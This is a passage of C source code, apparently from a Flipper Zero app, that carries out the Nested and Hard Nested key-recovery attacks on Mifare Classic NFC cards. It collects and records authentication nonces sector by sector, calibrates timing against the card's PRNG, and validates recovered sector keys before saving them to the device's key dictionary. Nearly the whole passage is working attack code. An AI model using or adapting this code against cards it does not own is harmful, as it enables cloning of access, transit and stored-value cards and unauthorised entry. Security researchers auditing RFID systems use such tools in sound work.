  651. }
  652. }
  653. }
  654. break;
  655. }
  656. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, sector_count, 0, 0);
  657. free(mf_data);
  658. mifare_nested_worker->callback(
  659. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  660. nfc_deactivate();
  661. }
  662. void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
  663. NonceList_t nonces;
  664. Storage* storage = furi_record_open(RECORD_STORAGE);
  665. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  666. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  667. FuriString* folder_path = furi_string_alloc();
  668. FuriHalNfcDevData data = {};
  669. nested_get_data(&data);
  670. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  671. uint64_t key = 0; // Found key for attack
  672. uint32_t found_key_type = 0;
  673. uint32_t key_block = 0;
  674. uint32_t sector_count = 0;
  675. uint32_t cuid = 0;
  676. furi_hal_nfc_activate_nfca(200, &cuid);
  677. FURI_LOG_I(TAG, "Running Hard Nested attack");
  678. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  679. mifare_nested_worker_write_uid_string(&data, tag_info);
  680. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  681. furi_string_free(tag_info);
  682. if(type == MfClassicType4k) {
  683. sector_count = 40;
  684. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  685. } else if(type == MfClassicType1k) {
  686. sector_count = 16;
  687. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  688. } else { // if(type == MfClassicTypeMini)
  689. sector_count = 5;
  690. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  691. }
  692. mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
  693. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  694. furi_string_free(folder_path);
  695. if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
  696. mifare_nested_worker->callback(
  697. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  698. nfc_deactivate();
  699. free(mf_data);
  700. free_nonces(&nonces, sector_count, 1);
  701. return;
  702. }
  703. if(!mifare_nested_worker_check_initial_keys(
  704. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  705. mifare_nested_worker->callback(
  706. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  707. nfc_deactivate();
  708. free(mf_data);
  709. free_nonces(&nonces, sector_count, 1);
  710. return;
  711. }
  712. FURI_LOG_I(
  713. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  714. FuriHalNfcTxRxContext tx_rx = {};
  715. nonces.tries = 1;
  716. nonces.hardnested_states = 0;
  717. nonces.sector_count = sector_count;
  718. mifare_nested_worker->context->nonces = &nonces;
  719. mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  720. mifare_nested_worker->callback(
  721. MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
  722. for(uint8_t sector = 0; sector < sector_count &&
  723. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  724. sector++) {
  725. for(uint8_t key_type = 0;
  726. key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  727. key_type++) {
  728. Nonces* info = nonces.nonces[sector][key_type][0];
  729. if(info->collected) {
  730. FURI_LOG_I(
  731. TAG,
  732. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  733. sector,
  734. mifare_nested_worker_get_block_by_sector(sector),
  735. key_type);
  736. info->skipped = true;
  737. nonces.nonces[sector][key_type][0] = info;
  738. mifare_nested_worker->context->nonces = &nonces;
  739. mifare_nested_worker->callback(
  740. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  741. continue;
  742. }
  743. if(!nested_check_block(
  744. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  745. FURI_LOG_E(
  746. TAG,
  747. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  748. sector,
  749. mifare_nested_worker_get_block_by_sector(sector),
  750. key_type);
  751. info->skipped = true;
  752. nonces.nonces[sector][key_type][0] = info;
  753. mifare_nested_worker->context->nonces = &nonces;
  754. mifare_nested_worker->callback(
  755. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  756. continue;
  757. }
  758. while(!info->collected &&
  759. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  760. Stream* file_stream = file_stream_alloc(storage);
  761. FuriString* hardnested_file = furi_string_alloc();
  762. mifare_nested_worker_get_hardnested_file_path(
  763. &data, hardnested_file, sector, key_type);
  764. file_stream_open(
  765. file_stream,
  766. furi_string_get_cstr(hardnested_file),
  767. FSAM_READ_WRITE,
  768. FSOM_CREATE_ALWAYS);
  769. FuriString* header = furi_string_alloc_printf(
  770. "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
  771. NESTED_NONCE_FORMAT_VERSION,
  772. NESTED_RECOVER_KEYS_GITHUB_LINK,
  773. !key_type ? 'A' : 'B',
  774. cuid,
  775. sector);
  776. stream_write_string(file_stream, header);
  777. furi_string_free(header);
  778. uint32_t first_byte_sum = 0;
  779. uint32_t* found = malloc(sizeof(uint32_t) * 256);
  780. for(uint32_t i = 0; i < 256; i++) {
  781. found[i] = 0;
  782. }
  783. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  784. struct nonce_info_hard result = nested_hard_nonce_attack(
  785. &tx_rx,
  786. key_block,
  787. found_key_type,
  788. mifare_nested_worker_get_block_by_sector(sector),
  789. key_type,
  790. key,
  791. found,
  792. &first_byte_sum,
  793. file_stream);
  794. if(result.static_encrypted) {
  795. file_stream_close(file_stream);
  796. storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
  797. furi_string_free(hardnested_file);
  798. free(found);
  799. free(mf_data);
  800. nfc_deactivate();
  801. mifare_nested_worker->callback(
  802. MifareNestedWorkerEventStaticEncryptedNonce,
  803. mifare_nested_worker->context);
  804. return;
  805. }
  806. if(result.full) {
  807. uint32_t states = 0;
  808. for(uint32_t i = 0; i < 256; i++) {
  809. states += found[i];
  810. }
  811. nonces.hardnested_states = states;
  812. mifare_nested_worker->callback(
  813. MifareNestedWorkerEventHardnestedStatesFound,
  814. mifare_nested_worker->context);
  815. FURI_LOG_D(TAG, "Found states: %lu", states);
  816. if(states == 256) {
  817. FURI_LOG_D(
  818. TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
  819. bool valid = false;
  820. for(uint8_t i = 0; i < sizeof(sums); i++) {
  821. if(sums[i] == first_byte_sum) {
  822. valid = true;
  823. break;
  824. }
  825. }
  826. if(!valid) {
  827. FURI_LOG_E(TAG, "Invalid first_byte_sum!");
  828. break;
  829. }
  830. info->collected = true;
  831. info->hardnested = true;
  832. nonces.cuid = result.cuid;
  833. nonces.nonces[sector][key_type][0] = info;
  834. mifare_nested_worker->context->nonces = &nonces;
  835. mifare_nested_worker->callback(
  836. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  837. break;
  838. }
  839. } else {
  840. mifare_nested_worker->callback(
  841. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  842. }
  843. }
  844. free(found);
  845. furi_string_free(hardnested_file);
  846. file_stream_close(file_stream);
  847. }
  848. }
  849. }
  850. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, sector_count, 0, 0);
  851. free(mf_data);
  852. mifare_nested_worker->callback(
  853. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  854. nfc_deactivate();
  855. }
  856. void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
  857. NonceList_t nonces;
  858. Storage* storage = furi_record_open(RECORD_STORAGE);
  859. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  860. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  861. FuriString* folder_path = furi_string_alloc();
  862. FuriHalNfcDevData data = {};
  863. nested_get_data(&data);
  864. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  865. uint64_t key = 0; // Found key for attack
  866. uint32_t found_key_type = 0;
  867. uint32_t key_block = 0;
  868. uint32_t sector_count = 0;
  869. uint32_t delay = 0;
  870. uint32_t distance = 0;
  871. uint32_t tries_count = 1;
  872. FURI_LOG_I(TAG, "Running Nested attack");
  873. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  874. mifare_nested_worker_write_uid_string(&data, tag_info);
  875. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  876. furi_string_free(tag_info);
  877. if(type == MfClassicType4k) {
  878. sector_count = 40;
  879. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  880. } else if(type == MfClassicType1k) {
  881. sector_count = 16;
  882. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  883. } else { // if(type == MfClassicTypeMini)
  884. sector_count = 5;
  885. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  886. }
  887. furi_string_set(folder_path, NESTED_FOLDER);
  888. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  889. furi_string_free(folder_path);
  890. if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
  891. mifare_nested_worker->callback(
  892. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  893. nfc_deactivate();
  894. free(mf_data);
  895. free_nonces(&nonces, sector_count, tries_count);
  896. return;
  897. }
  898. if(!mifare_nested_worker_check_initial_keys(
  899. &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
  900. mifare_nested_worker->callback(
  901. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  902. nfc_deactivate();
  903. free(mf_data);
  904. free_nonces(&nonces, sector_count, tries_count);
  905. return;
  906. }
  907. FURI_LOG_I(
  908. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  909. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  910. FuriHalNfcTxRxContext tx_rx = {};
  911. uint32_t first_distance = 0;
  912. uint32_t second_distance = 0;
  913. mifare_nested_worker->callback(
  914. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  915. distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
  916. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  917. first_distance =
  918. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  919. }
  920. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  921. second_distance =
  922. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
  923. }
  924. if(first_distance == 0 && second_distance == 0) {
  925. nfc_deactivate();
  926. free(mf_data);
  927. free_nonces(&nonces, sector_count, tries_count);
  928. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  929. return;
  930. }
  931. if(first_distance < second_distance - 100 && second_distance > 100) {
  932. FURI_LOG_E(
  933. TAG,
  934. "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
  935. first_distance,
  936. second_distance);
  937. struct distance_info info =
  938. nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
  939. if(info.max_prng - info.min_prng > 150) {
  940. FURI_LOG_W(
  941. TAG,
  942. "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
  943. info.max_prng,
  944. info.min_prng,
  945. info.max_prng - info.min_prng);
  946. delay = 1;
  947. } else {
  948. FURI_LOG_I(
  949. TAG,
  950. "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
  951. distance =
  952. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  953. delay = 2;
  954. tries_count = 3;
  955. }
  956. }
  957. if(distance == 0 || delay == 1) {
  958. bool failed = false;
  959. // Tag need delay or unpredictable PRNG
  960. FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
  961. mifare_nested_worker->callback(
  962. MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
  963. delay = mifare_nested_worker_predict_delay(
  964. &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
  965. if(delay == 1) {
  966. FURI_LOG_E(TAG, "Can't determine delay");
  967. // Check that we didn't lost tag
  968. FuriHalNfcDevData lost_tag_data = {};
  969. nested_get_data(&lost_tag_data);
  970. if(lost_tag_data.uid_len == 0) {
  971. // We lost it.
  972. mifare_nested_worker->callback(
  973. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  974. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
  975. lost_tag_data.cuid != data.cuid) {
  976. furi_delay_ms(250);
  977. nested_get_data(&lost_tag_data);
  978. }
  979. mifare_nested_worker->callback(
  980. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  981. continue;
  982. }
  983. failed = true;
  984. }
  985. if(delay == 2) {
  986. FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested");
  987. nfc_deactivate();
  988. free(mf_data);
  989. free_nonces(&nonces, sector_count, tries_count);
  990. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  991. return;
  992. }
  993. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
  994. distance = nested_calibrate_distance(
  995. &tx_rx, key_block, found_key_type, key, delay, false);
  996. }
  997. if(distance == 0 && !failed) {
  998. FURI_LOG_E(TAG, "Found delay, but can't find distance");
  999. failed = true;
  1000. }
  1001. if(failed) {
  1002. nfc_deactivate();
  1003. mifare_nested_worker->callback(
  1004. MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
  1005. free(mf_data);
  1006. free_nonces(&nonces, sector_count, tries_count);
  1007. return;
  1008. }
  1009. tries_count = 3;
  1010. }
  1011. mifare_nested_worker->context->nonces = &nonces;
  1012. mifare_nested_worker->callback(
  1013. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1014. for(uint8_t tries = 0; tries < tries_count; tries++) {
  1015. for(uint8_t sector = 0; sector < sector_count; sector++) {
  1016. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  1017. Nonces* info = nonces.nonces[sector][key_type][tries];
  1018. if(info->collected) {
  1019. FURI_LOG_I(
  1020. TAG,
  1021. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  1022. sector,
  1023. mifare_nested_worker_get_block_by_sector(sector),
  1024. key_type);
  1025. info->skipped = true;
  1026. nonces.nonces[sector][key_type][tries] = info;
  1027. mifare_nested_worker->context->nonces = &nonces;
  1028. mifare_nested_worker->callback(
  1029. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1030. continue;
  1031. }
  1032. if(!nested_check_block(
  1033. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  1034. FURI_LOG_E(
  1035. TAG,
  1036. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  1037. sector,
  1038. mifare_nested_worker_get_block_by_sector(sector),
  1039. key_type);
  1040. info->skipped = true;
  1041. nonces.nonces[sector][key_type][0] = info;
  1042. mifare_nested_worker->context->nonces = &nonces;
  1043. mifare_nested_worker->callback(
  1044. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1045. continue;
  1046. }
  1047. while(!info->collected) {
  1048. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  1049. break;
  1050. }
  1051. struct nonce_info result = nested_attack(
  1052. &tx_rx,
  1053. key_block,
  1054. found_key_type,
  1055. mifare_nested_worker_get_block_by_sector(sector),
  1056. key_type,
  1057. key,
  1058. distance,
  1059. delay);
  1060. if(result.full) {
  1061. FURI_LOG_I(
  1062. TAG,
  1063. "Accured nonces for sector %u, block %u, key_type: %u",
  1064. sector,
  1065. mifare_nested_worker_get_block_by_sector(sector),
  1066. key_type);
  1067. info = nonces.nonces[sector][key_type][tries];
  1068. info->collected = true;
  1069. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  1070. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  1071. memcpy(&info->parity, result.parity, sizeof(result.parity));
  1072. nonces.nonces[sector][key_type][tries] = info;
  1073. nonces.cuid = result.cuid;
  1074. nonces.sector_count = sector_count;
  1075. nonces.tries = tries_count;
  1076. mifare_nested_worker->context->nonces = &nonces;
  1077. mifare_nested_worker->callback(
  1078. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1079. break;
  1080. } else {
  1081. mifare_nested_worker->callback(
  1082. MifareNestedWorkerEventNoTagDetected,
  1083. mifare_nested_worker->context);
  1084. }
  1085. }
  1086. }
  1087. }
  1088. }
  1089. break;
  1090. }
  1091. mifare_nested_worker_write_nonces(
  1092. &data, storage, &nonces, tries_count, sector_count, delay, distance);
  1093. free(mf_data);
  1094. mifare_nested_worker->callback(
  1095. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  1096. nfc_deactivate();
  1097. }
  1098. bool* mifare_nested_worker_check_keys_exists(
  1099. Storage* storage,
  1100. char* path,
  1101. uint64_t* keys,
  1102. uint32_t key_count,
  1103. MifareNestedWorker* mifare_nested_worker) {
  1104. bool* old_keys = malloc(sizeof(bool) * key_count);
  1105. Stream* file_stream = file_stream_alloc(storage);
  1106. file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
  1107. FuriString* key_strings[key_count];
  1108. for(uint32_t i = 0; i < key_count; i++) {
  1109. old_keys[i] = false;
  1110. key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
  1111. }
  1112. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1113. FuriString* next_line = furi_string_alloc();
  1114. if(!stream_read_line(file_stream, next_line)) {
  1115. break;
  1116. }
  1117. for(uint32_t i = 0; i < key_count; i++) {
  1118. if(keys[i] == (uint64_t)-1) continue;
  1119. if(furi_string_cmp(next_line, key_strings[i]) == 0) {
  1120. old_keys[i] = true;
  1121. }
  1122. }
  1123. furi_string_free(next_line);
  1124. }
  1125. for(uint32_t i = 0; i < key_count; i++) {
  1126. furi_string_free(key_strings[i]);
  1127. }
  1128. file_stream_close(file_stream);
  1129. free(file_stream);
  1130. return old_keys;
  1131. }
  1132. void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
  1133. Stream* file_stream = file_stream_alloc(storage);
  1134. file_stream_open(
  1135. file_stream,
  1136. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1137. FSAM_READ_WRITE,
  1138. FSOM_OPEN_APPEND);
  1139. stream_write_string(file_stream, key);
  1140. file_stream_close(file_stream);
  1141. }
  1142. void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
  1143. KeyInfo_t* key_info = mifare_nested_worker->context->keys;
  1144. Storage* storage = furi_record_open(RECORD_STORAGE);
  1145. Stream* file_stream = file_stream_alloc(storage);
  1146. FuriString* next_line = furi_string_alloc();
  1147. FuriString* path = furi_string_alloc();
  1148. FuriHalNfcDevData data = {};
  1149. nested_get_data(&data);
  1150. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  1151. NestedCheckKeyResult result = NestedCheckKeyNoTag;
  1152. FuriHalNfcTxRxContext tx_rx = {};
  1153. uint32_t key_count = 0;
  1154. uint32_t sector_key_count = 0;
  1155. uint64_t keys[80];
  1156. bool found_keys[2][40];
  1157. bool unique_keys[2][40];
  1158. uint32_t sector_count = 0;
  1159. if(type == MfClassicType4k) {
  1160. sector_count = 40;
  1161. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  1162. } else if(type == MfClassicType1k) {
  1163. sector_count = 16;
  1164. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  1165. } else { // if(type == MfClassicTypeMini)
  1166. sector_count = 5;
  1167. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  1168. }
  1169. uint32_t keys_count = sector_count * 2;
  1170. for(uint8_t key = 0; key < 2; key++) {
  1171. for(uint8_t i = 0; i < sector_count; i++) {
  1172. found_keys[key][i] = false;
  1173. unique_keys[key][i] = false;
  1174. }
  1175. }
  1176. for(uint8_t i = 0; i < keys_count; i++) {
  1177. keys[i] = -1;
  1178. }
  1179. mifare_nested_worker_get_found_keys_file_path(&data, path);
  1180. if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1181. FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
  1182. file_stream_close(file_stream);
  1183. mifare_nested_worker_get_nonces_file_path(&data, path);
  1184. if(!file_stream_open(
  1185. file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1186. mifare_nested_worker->callback(
  1187. MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
  1188. } else {
  1189. mifare_nested_worker->callback(
  1190. MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
  1191. }
  1192. file_stream_close(file_stream);
  1193. free(file_stream);
  1194. furi_string_free(path);
  1195. furi_string_free(next_line);
  1196. furi_record_close(RECORD_STORAGE);
  1197. return;
  1198. };
  1199. while(true) {
  1200. if(!stream_read_line(file_stream, next_line)) {
  1201. break;
  1202. }
  1203. if(furi_string_start_with_str(next_line, "Key")) {
  1204. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1205. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1206. atoi((char[]){furi_string_get_char(next_line, 14)});
  1207. if(!unique_keys[key_type][sector]) {
  1208. unique_keys[key_type][sector] = true;
  1209. sector_key_count++;
  1210. }
  1211. }
  1212. key_count++;
  1213. }
  1214. stream_rewind(file_stream);
  1215. key_info->total_keys = key_count;
  1216. key_info->sector_keys = sector_key_count;
  1217. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1218. if(!stream_read_line(file_stream, next_line)) {
  1219. break;
  1220. }
  1221. if(furi_string_start_with_str(next_line, "Key")) {
  1222. // Key X sector XX: XX XX XX XX XX XX
  1223. // 0000000000111111111122222222223333
  1224. // 0123456789012345678901234567890123
  1225. uint8_t keyChar[6];
  1226. uint8_t count = 0;
  1227. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1228. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1229. atoi((char[]){furi_string_get_char(next_line, 14)});
  1230. for(uint8_t i = 17; i < 33; i += 3) {
  1231. hex_char_to_uint8(
  1232. furi_string_get_char(next_line, i),
  1233. furi_string_get_char(next_line, i + 1),
  1234. &keyChar[count]);
  1235. count++;
  1236. }
  1237. uint64_t key = nfc_util_bytes2num(keyChar, 6);
  1238. key_info->checked_keys++;
  1239. if(found_keys[key_type][sector]) {
  1240. mifare_nested_worker->callback(
  1241. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1242. continue;
  1243. }
  1244. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1245. result = nested_check_key(
  1246. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
  1247. if(result == NestedCheckKeyNoTag) {
  1248. mifare_nested_worker->callback(
  1249. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  1250. furi_delay_ms(250);
  1251. } else {
  1252. break;
  1253. }
  1254. }
  1255. if(result == NestedCheckKeyValid) {
  1256. FURI_LOG_I(
  1257. TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
  1258. bool exists = false;
  1259. for(uint8_t i = 0; i < keys_count; i++) {
  1260. if(keys[i] == key) {
  1261. exists = true;
  1262. }
  1263. }
  1264. if(!exists) {
  1265. keys[key_info->found_keys] = key;
  1266. }
  1267. key_info->found_keys++;
  1268. found_keys[key_type][sector] = true;
  1269. }
  1270. mifare_nested_worker->callback(
  1271. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1272. }
  1273. }
  1274. furi_string_free(next_line);
  1275. file_stream_close(file_stream);
  1276. free(file_stream);
  1277. mifare_nested_worker->callback(
  1278. MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
  1279. bool* old_keys = mifare_nested_worker_check_keys_exists(
  1280. storage,
  1281. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1282. keys,
  1283. keys_count,
  1284. mifare_nested_worker);
  1285. for(uint8_t i = 0; i < keys_count; i++) {
  1286. if(old_keys[i]) {
  1287. keys[i] = -1;
  1288. }
  1289. }
  1290. old_keys = mifare_nested_worker_check_keys_exists(
  1291. storage,
  1292. EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
  1293. keys,
  1294. keys_count,
  1295. mifare_nested_worker);
  1296. for(uint8_t i = 0; i < keys_count; i++) {
  1297. if(old_keys[i]) {
  1298. keys[i] = -1;
  1299. }
  1300. }
  1301. for(uint8_t i = 0; i < keys_count; i++) {
  1302. if(keys[i] == (uint64_t)-1) continue;
  1303. FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
  1304. mifare_nested_worker_write_key(storage, key_string);
  1305. FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
  1306. key_info->added_keys++;
  1307. furi_string_free(key_string);
  1308. }
  1309. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  1310. FURI_LOG_E(TAG, "Failed to remove .keys file");
  1311. }
  1312. furi_record_close(RECORD_STORAGE);
  1313. furi_string_free(path);
  1314. mifare_nested_worker->callback(
  1315. MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
  1316. return;
  1317. }